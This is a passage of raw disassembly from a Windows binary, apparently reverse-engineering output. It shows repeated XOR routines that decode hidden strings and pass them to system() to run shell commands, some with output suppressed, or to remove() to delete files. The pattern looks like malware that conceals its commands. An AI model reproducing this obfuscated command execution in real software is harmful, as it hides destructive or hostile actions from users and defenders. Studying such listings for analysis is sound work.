je 0x1400544f0
mov r8d, r14d
cmp r12d, 2
jl 0x1400544b1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400543c0
cmp r8d, 0x32
jge 0x1400544f0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400544c0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ee0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2f00]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2f00]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ee0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x3a], al
lea rdx, [rbp + 0x38d8]
lea rcx, [rbp + 0x3a]
call fcn.14006ce50
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400546c0
mov r8d, r14d
cmp r12d, 2
jl 0x140054681
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140054590
cmp r8d, 0x32
jge 0x1400546c0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140054690
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2f20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2f40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2f40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2f20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x3b], al
lea rdx, [rbp + 0x390a]
lea rcx, [rbp + 0x3b]
call fcn.14006ce80
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140054890
mov r8d, r14d
cmp r12d, 2
jl 0x140054851
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140054760
cmp r8d, 0x32
jge 0x140054890
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140054860
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2f60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2f80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2f80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2f60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x3c], al
lea rdx, [rbp + 0x4060]
lea rcx, [rbp + 0x3c]
call fcn.14006ceb0
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140054a60
cmp r12d, 2
jl 0x140054a1b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x140054930
jmp 0x140054a60
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x140054a30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x3d], al
lea rdx, [rbp + 0x41a2]
lea rcx, [rbp + 0x3d]
call fcn.14006cee0
mov r10, rax
cmp byte [rax + 0x41], 0
je 0x140054be0
mov r8d, r14d
cmp r12d, 2
jl 0x140054ba1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140054ab0
cmp r8d, 0x42
jge 0x140054be0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140054bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140041ea0
xor eax, eax
mov byte [rbp + 0x3e], al
lea rdx, [rbp + 0x33b0]
lea rcx, [rbp + 0x3e]
call fcn.14006cf20
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140054d60
mov r8d, r14d
cmp r12d, 2
jl 0x140054d21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140054c30
cmp r8d, 0x2c
jge 0x140054d60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140054d30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp + 0x3f], al
lea rdx, [rbp + 0x3266]
lea rcx, [rbp + 0x3f]
call fcn.14006cf50
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140054ee0
mov r8d, r14d
cmp r12d, 2
jl 0x140054ea1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140054db0
cmp r8d, 0x29
jge 0x140054ee0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140054eb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp + 0x40], al
lea rdx, [rbp + 0x323e]
lea rcx, [rbp + 0x40]
call fcn.14006cf80
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x140055060
cmp r12d, 2
jl 0x14005501b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140054f30
jmp 0x140055060
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140055030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp + 0x41], al
lea rdx, [rbp + 0x328f]
lea rcx, [rbp + 0x41]
call fcn.14006cfb0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x1400551e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400551a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400550b0
cmp r8d, 0x29
jge 0x1400551e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x1400551b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp + 0x42], al
lea rdx, [rbp + 0x5be1]
lea rcx, [rbp + 0x42]
call fcn.14006cfe0
mov r10, rax
cmp byte [rax + 0x75], 0
je 0x140055360
mov r8d, r14d
cmp r12d, 2
jl 0x140055321
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140055230
cmp r8d, 0x76
jge 0x140055360
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x140055330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x43], al
lea rdx, [rbp + 0x6205]
lea rcx, [rbp + 0x43]
call fcn.14006d050
mov r10, rax
cmp byte [rax + 0x7b], 0
je 0x1400554e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400554a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400553b0
cmp r8d, 0x7c
jge 0x1400554e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x1400554b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x44], al
lea rdx, [rbp + 0x84a9]
lea rcx, [rbp + 0x44]
call fcn.14006d0c0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140055663
cmp r12d, 2
jl 0x14005561e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140055530
jmp 0x140055663
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140055630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x45], al
lea rdx, [rbp + 0x836b]
lea rcx, [rbp + 0x45]
call fcn.14006d130
mov r10, rax
cmp byte [rax + 0x9e], 0
je 0x1400557e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400557a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
